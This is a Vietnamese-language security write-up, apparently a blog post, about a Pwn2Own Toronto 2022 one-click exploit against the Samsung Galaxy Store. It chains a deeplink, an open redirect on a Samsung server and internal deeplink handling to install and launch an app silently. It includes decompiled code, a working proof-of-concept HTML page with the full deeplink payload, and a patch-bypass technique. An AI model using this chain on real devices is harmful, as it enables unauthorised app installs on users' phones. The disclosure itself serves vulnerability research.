[Pwn2Own] One-click/Open-redirect to own Samsung S23

Jang
8 min readJun 13, 2023

--

#Brief

Chúng tôi bắt đầu vào làm bug này ngay sau khi có thông báo về list target của Pwn2own Toronto 2022 (https://www.zerodayinitiative.com/blog/2022/8/29/announcing-pwn2own-toronto-2022-and-introducing-the-soho-smashup).

Như mọi năm xem anh em pwn samsung thì cứ ngỡ phải khó lắm, tuy nhiên đến lúc làm thì thấy nó cũng ko hẳn là khó như vậy!

Mình bắt đầu bằng cách đọc lại entry paper năm ngoái của ae trong team, trong đó có 2 bug, một bug đã được dùng ở p2o, bug còn lại cũng đã được fix ngay sau đó. Và cũng thật tình cờ, một trong 2 bug đã được writeup rất chi tiết tại đây, bạn đọc có thể xem qua trước để hiểu hơn về attack surface này.

Về cơ bản, attack surface này dựa vào một số sai sót trong quá trình handle deeplink của một số app có quyền cao trên samsung device, từ đó có thể thực hiện việc cài app bất kỳ và tự khởi chạy mà không cần (cần ít) sự tương tác từ phía người dùng.

## Deeplink là gì?

Cơ chế deeplink tồn tại trên hầu hết các hệ điều hành có GUI: Windows/iOS/Linux/Android … cho phép một chương trình sẽ register một số URL/protocol với hệ điều hành, để khi người dùng truy cập tới URL đó sẽ được handle/redirect hoặc mở ra một chương trình khác. Ví dụ đơn giản là khi bạn click vào link meet của Teams từ trình duyệt thì phần mềm Teams trên máy sẽ tự popup và mở phần meet trong app thay vì trên browser.

Với Android thì cũng tương tự như vậy, các app khi được cài vào máy có thể register các deeplink URL/protocol với OS. Khi có request tới các deeplink, một phần code trong app sẽ xử lý và quyết định sẽ làm gì với các deeplink này.

Điện thoại Samsung khi mới xuất xưởng thường được cài thêm rất nhiều app, bao gồm cả app rác cũng như app của nhà sản xuất: Galaxy Store, samsung pay, … Những app này được cài đặt sẵn với nhiều quyền, ví dụ như quyền cài đặt thêm app mới, cộng thêm với việc các app này cũng handle thêm nhiều deeplink, từ đó mở ra một mảnh đất màu mỡ cho các hacker nhắm tới thay vì các entry khác cùng mảng tại p2o.

## The old bug

Dựa vào paper năm 2021 của anh em trong team, tôi xác định được app cần nhắm tới là “Galaxy Store” — một app store bên thứ ba (của samsung), được cài sẵn vào mỗi chiếc điện thoại samsung kể từ khi xuất xưởng, vào thời điểm gửi paper thì version của app là “4.5.48.3”.

Một ví dụ về deeplink được khởi tạo trong app “Galaxy Store”:

  • betasamsungapps://GearBetaTestProductDetail
  • betasamsungapps://GearBetaTestProductList
  • normalbetasamsungapps://BetaTestProductDetail
  • normalbetasamsungapps://instantplays
  • normalbetasamsungapps://BetaTestProductList

Ví dụ như khi visit url betasamsungapps://GearBetaTestProductList từ browser, GearBetaTestProductListDeepLink.runDeepLink() sẽ được call để xử lý và mở ra một Intent mới:

public class GearBetaTestProductListDeepLink extends DeepLink 
{
public boolean runDeepLink(Context p0){
this.runDeepLinkImplement(p0);
return true;
}
private void runDeepLinkImplement(Context p0){
int i;
Intent intent = new Intent(p0, GearAppBetaTestActivity.class);
this.registerActivityToBixby(intent);
String str = "DeeplinkURI";
if (!TextUtils.isEmpty(this.getDeeplinkUrl())) {
i = 0;
try{
String str1 = URLDecoder.decode(this.getDeeplinkUrl(), "UTF-8");
}catch(java.io.UnsupportedEncodingException e4){
e4.printStackTrace();
}
if (!TextUtils.isEmpty(i)) {
intent.putExtra(str, i);
}
}else {
intent.putExtra(str, this.a());
}
i = 0x24000000;
try{
intent.setFlags(i);
p0.startActivity(intent);
}catch(java.lang.Exception e7){
///
}
return;
}
}

Bug năm 2021 của team chúng tôi bắt đầu từ deeplink samsungapps://MCSLaunch?action=each_event&url=https://us.mcsvc.samsung.com/, deeplink này được handle bởi McsWebViewActivity. Với param url là url sẽ được load vào internal Webview của Galaxy Store app, url này được valid bởi method McsWebViewActivity.isValidUrl():

public boolean isValidUrl(String str) {
boolean z = this.extra_is_deeplink;
if (z) {
if (z && !TextUtils.isEmpty(str)) {
if (!str.startsWith(Global.getInstance().getDocument().getGetCommonInfoManager().getMcsWebDomain() + "/")) {
if (str.startsWith(Global.getInstance().getDocument().getGetCommonInfoManager().getGmpWebDomain() + "/") || str.startsWith("https://img.samsungapps.com/")) {
}
}
}
return false;
}
return true;
}

Với Global.getInstance().getDocument().getGetCommonInfoManager().getMcsWebDomain()Global.getInstance().getDocument().getGetCommonInfoManager().getGmpWebDomain() đều trả về https://us.mcsvc.samsung.com, có nghĩa là chỉ các url từ host https://us.mcsvc.samsung.com/https://img.samsungapps.com/ mới được phép load vào internal Webview!

Internal webview của một số app có thể add thêm các binding, cho phép gọi tới các method java từ phía JS, ví dụ:

//McsWebViewActivity
private void a(WebSettings p0,String p1){
p0.setJavaScriptEnabled(true);
EditorialScriptInterface uEditorialSc = new EditorialScriptInterface(this, this.webView);
this.webView.addJavascriptInterface(uEditorialSc, "GalaxyStore");
}
//EditorialScriptInterface
public void downloadApp(String p0){
///
}

Từ phía JS được chạy ở internal webview, ta có thể gọi tới GalaxyStore.downloadApp(‘app’) -> EditorialScriptInterface.downloadApp()

Sau đó, chúng tôi tìm ra và sử dụng một bug XSS trên chính host https://us.mcsvc.samsung.com/ (cụ thể là url https://us.mcsvc.samsung.com/mcp25/devops/redirect.html) để thực thi code javascript ở internal webview và cài app lên device samsung (more detail: https://ssd-disclosure.com/ssd-advisory-galaxy-store-applications-installation-launching-without-user-interaction/).

## The new one

Vào thời điểm tôi bắt đầu xem lại paper thì bug xss đã được patch, test mode đã không còn nữa, nhưng tôi quyết định đào sâu hơn vào để tìm thêm các bug khác ở vị trí này!

Và chỉ mất khoảng 8 tiếng deobfuscate code js, tôi đã tìm ra bug open redirect đầu tiên:

https://us.mcsvc.samsung.com/mcp25/devops/redirect.html?product=samsungpay&actionType=eventURL&fallbackUrl=http://xxxxxx

Kết hợp với deeplink:

samsungapps://MCSLaunch?action=each_event&url=https://us.mcsvc.samsung.com/mcp25/devops/redirect.html%3fproduct=samsungpay%26actionType=eventURL%26fallbackUrl=http://xxxxxx

Khi click vào deeplink trên, webview sẽ load us.mcsvc.samsung.com và sau đó sẽ được redirect tới url của attacker!

Mặc dù đã có thể load một url bất kỳ vào internal webview, nhưng ta vẫn không thể gọi tới binding GalaxyStore từ js để cài app được. Lý do là method EditorialScriptInterface.downloadApp() có kiểm tra lại url gọi tới, và chỉ cho phép từ các url nhất định như: “us.mcsvc.samsung.com”, “img.samsungapps.com”.

.

.

Xem xét kỹ hơn về phần internal webview sẽ load url, ở đây là McsWebViewClient, class này kế thừa từ CommonWebViewClient. Method McsWebViewClient.shouldOverrideUrlLoading() kiểm tra các điều kiện và quyết định các cách xử lý với từng trường hợp, từng URL, kể cả các URL được redirect:

public boolean shouldOverrideUrlLoading(WebView webView, String str) {
Loger.d(MCSApi.LOG_TAG, "shouldOverrideUrlLoading : " + str);
if (webView == null || webView.getContext() == null || TextUtils.isEmpty(str)) {
return super.shouldOverrideUrlLoading(webView, str);
}
Uri parse = Uri.parse(str);
String scheme = parse.getScheme();
String host = parse.getHost();
if ("intent".equalsIgnoreCase(scheme)) {
//...
} else if ("samsungapps".equalsIgnoreCase(scheme) && "launch".equalsIgnoreCase(host)) {
//...
} else if ("samsungapps".equalsIgnoreCase(scheme) && "internalweb".equalsIgnoreCase(host)) {
//...
} else if (!"samsungapps".equalsIgnoreCase(scheme) || !"externalweb".equalsIgnoreCase(host)) {
return super.shouldOverrideUrlLoading(webView, str);
} else {
//...
}
}

Trong trường hợp protocol của URL là samsungapps hoặc host không phải là internalweb, URL sẽ tiếp tục được handle bởi method của class cha, đó là: CommonWebViewClient.shouldOverrideUrlLoading():

public boolean shouldOverrideUrlLoading(WebView webView, String str) {
if (!(str == null || str.length() == 0)) {
Uri parse = Uri.parse(str);
String scheme = parse.getScheme();
String host = parse.getHost();
if (("samsungapps".equalsIgnoreCase(scheme) || ((host.equalsIgnoreCase("apps.samsung.com") || host.equalsIgnoreCase("www.samsungapps.com")) && ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)))) && (webView.getContext() instanceof Activity) && new DeeplinkUtil((Activity) webView.getContext()).openInternalDeeplink(parse.toString())) {
return true;
}
//...
}
return false;
}

Tại đây, nếu URL có protocol là https hoặc http và host là apps.samsung.com thì DeeplinkUtil.openInternalDeeplink() sẽ tiếp tục được gọi để handle URL này.

URL được load với chế độ internal deeplink sẽ được xử lý đặc biệt hơn, có thể thực hiện các tác vụ sâu hơn so với việc load deeplink thông thường.

Tại P2o Toronto 2022, chúng tôi sử dụng tới internal deeplink của DetailAlleyPopupDeeplink có URL https://apps.samsung.com/appquery/appDetail.as?appId=<app>, được handle bằng method DetailAlleyPopupDeeplink.runInternalDeepLink():

public class DetailAlleyPopupDeeplink extends DetailPageDeepLink
{
public boolean runInternalDeepLink(Context p0){
if (!this.launchApp(p0, this.getDetailID())) {
String detailID = this.getDetailID();
boolean mIsStub = this.mIsStub;
String mSignId = this.mSignId;
String mQueryStr = this.mQueryStr;
String adSource = this.getAdSource();
String source = this.getSource();
String sender = (this.isDirectInstall())? this.getSender(): "";
DetailLaunchHelper.launch(p0, detailID, mIsStub, mSignId, mQueryStr, adSource, source, sender, this.isDirectInstall(), this.isDirectOpen(), this.deepLinkAppName, this.commonLogData, this.getDeeplinkUrl());
}
return true;
}
}

Việc xử lý ở phía sau DetailLaunchHelper.launch() còn dài nữa, tuy nhiên có thể tóm tắt lại như sau: nếu trong URL của deeplink có các tham số directInstalldirectOpen thì app sẽ tự động được cài đặt và mở ra mà không cần sự tương tác nhiều hơn từ phía người dùng!

Để exploit cần tạo một host file html với content như sau:

<head>
</head>
<body>
<b><a id="exploit" href="samsungapps://MCSLaunch?action=each_event&url=https://us.mcsvc.samsung.com/mcp25/devops/redirect.html?mcs=kr%26product=samsungpay%26actionType=eventURL%26fallbackUrl=https://apps.samsung.com/appquery/appDetail.as%253fappId%253dcom.sec.android.app.popupcalculator%2526directInstall%253dtrue%2526directOpen%253dtrue%2526form%253dpopup">click_me</a></b>
</body>
<script>
</script>

Với fallbackUrl là appdetails deeplink https://apps.samsung.com/appquery/appDetail.as?appId=com.sec.android.app.popupcalculator&directInstall=true&directOpen=true&form=popup đã được urlencode 2 lần.

PoC này yêu cầu người dùng phải thực hiện click ít nhất là 1 lần vào link của attacker

PoC: https://youtu.be/KbiERyQbZUE

## The bypass one

Câu chuyện sẽ chỉ dừng tại ở đó nếu không có sự quay xe đến từ phía của Samsung,

Trước ngày diễn ra p2o khoảng 1 tuần, samsung bắt đầu tích cực đưa ra các bản vá cho lỗi mà mình tìm ra, đâu đó khoảng 2–3 lần gì đó.

Sau mỗi lần bị fix, mình lại tìm ra cách bypass nhưng lại tiếp tục bị fix ngay sau đó, không rõ là trong quá trình test PoC có lỡ để leak deeplink bị gửi về phía server của samsung hay không ¯\_(ツ)_/¯.

Điều đáng lo ở đây là bug dựa hoàn toàn vào phía server-side, họ có thể update bất thình lình và fix luôn bug của mình.

Lần cuối cùng họ update là đúng 2h trước deadline đăng ký với ZDI, và cũng thật may mắn là mình vẫn kịp tìm ra cách bypass và không bị fix cho tới khi diễn ra cuộc thi!

Dưới đây là bản vá cuối cùng trước cuộc thi:

  • Step 1:

fallbackUrl được truyền vào hàm _0x8033d6() thông qua tham số _0x3015c4, sau đó _0x46f66f() được gọi để decode fallbackUrl và gán giá trị cho _0x1851d7:

  • Step 2:

fallbackUrl sau khi được decode sẽ tiếp tục được truyền vào _0x5ea70f() để kiểm tra hostname của URL có = www.sofi.com hay không:

  • Step 3:

Nếu các điều kiện trên được thỏa mãn sẽ tiếp tục đi vào nhánh gọi tới location.replace() để redirect với tham số chính là _0x3015c4 vừa được truyền vào ở đầu hàm:

Sai sót ở đây chính là ở “Step 2”, fallbackUrl sẽ bị decode URL sau đó mới đưa vào kiểm tra, rồi đến lúc redirect thì lại sử dụng tới fallbackUrl ban đầu, cái mà chưa bị decode URL.

Từ đó mình có thể build được một URL thỏa mãn đoạn check mà vẫn redirect được tới host mong muốn của mình:

=> ¯\_(ツ)_/¯ ez bypass

## References

--

--